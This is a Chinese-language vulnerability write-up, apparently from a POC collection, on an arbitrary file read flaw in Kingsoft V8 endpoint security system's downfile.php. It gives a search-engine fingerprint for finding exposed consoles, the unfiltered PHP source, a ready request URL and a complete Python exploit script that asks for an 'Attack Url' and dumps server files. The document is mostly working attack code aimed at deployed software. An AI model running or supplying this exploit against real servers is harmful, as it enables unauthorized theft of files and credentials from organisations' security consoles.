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110 lines
2.9 KiB
Markdown
110 lines
2.9 KiB
Markdown
# 金山 V8 终端安全系统 downfile.php 任意文件读取漏洞
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## 漏洞描述
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金山 V8 终端安全系统 存在任意文件读取漏洞，攻击者可以通过漏洞下载服务器任意文件
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## 漏洞影响
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```
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金山 V8 终端安全系统
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```
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## 网络测绘
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```
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title="在线安装-V8+终端安全系统Web控制台"
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```
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## 漏洞复现
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存在漏洞的文件 **/Console/htmltopdf/downfile.php**
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```php
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<?php
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$filename= $_GET["filename"];
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$filename=iconv("UTF-8","GBK//IGNORE", $filename);
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header("Cache-Control: public");
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header("Content-Description: File Transfer");
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header('Content-disposition: attachment; filename='.$filename); //文件名
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header("Content-Type: application/zip"); //zip格式的
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header("Content-Transfer-Encoding: binary"); //告诉浏览器，这是二进制文件
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header('Content-Length: '. filesize($filename)); //告诉浏览器，文件大小
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@readfile($filename);
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?>
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```
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文件中没有任何的过滤 通过filename参数即可下载任意文件
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POC为
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```plain
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http://xxx.xxx.xxx.xxx/htmltopdf/downfile.php?filename=downfile.php
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```
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## 漏洞POC
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```python
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import requests
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import sys
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import random
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import re
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mTitle : 金山 V8 终端安全系统 任意文件读取漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/htmltopdf/downfile.php?filename=downfile.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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if "$filename" in response.text and response.status_code == 200:
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print("\033[32m[o] 目标 {} 存在漏洞 , 响应为:\n{} \033[0m".format(target_url, response.text))
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else:
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print("\033[31m[x] 不存在漏洞 \033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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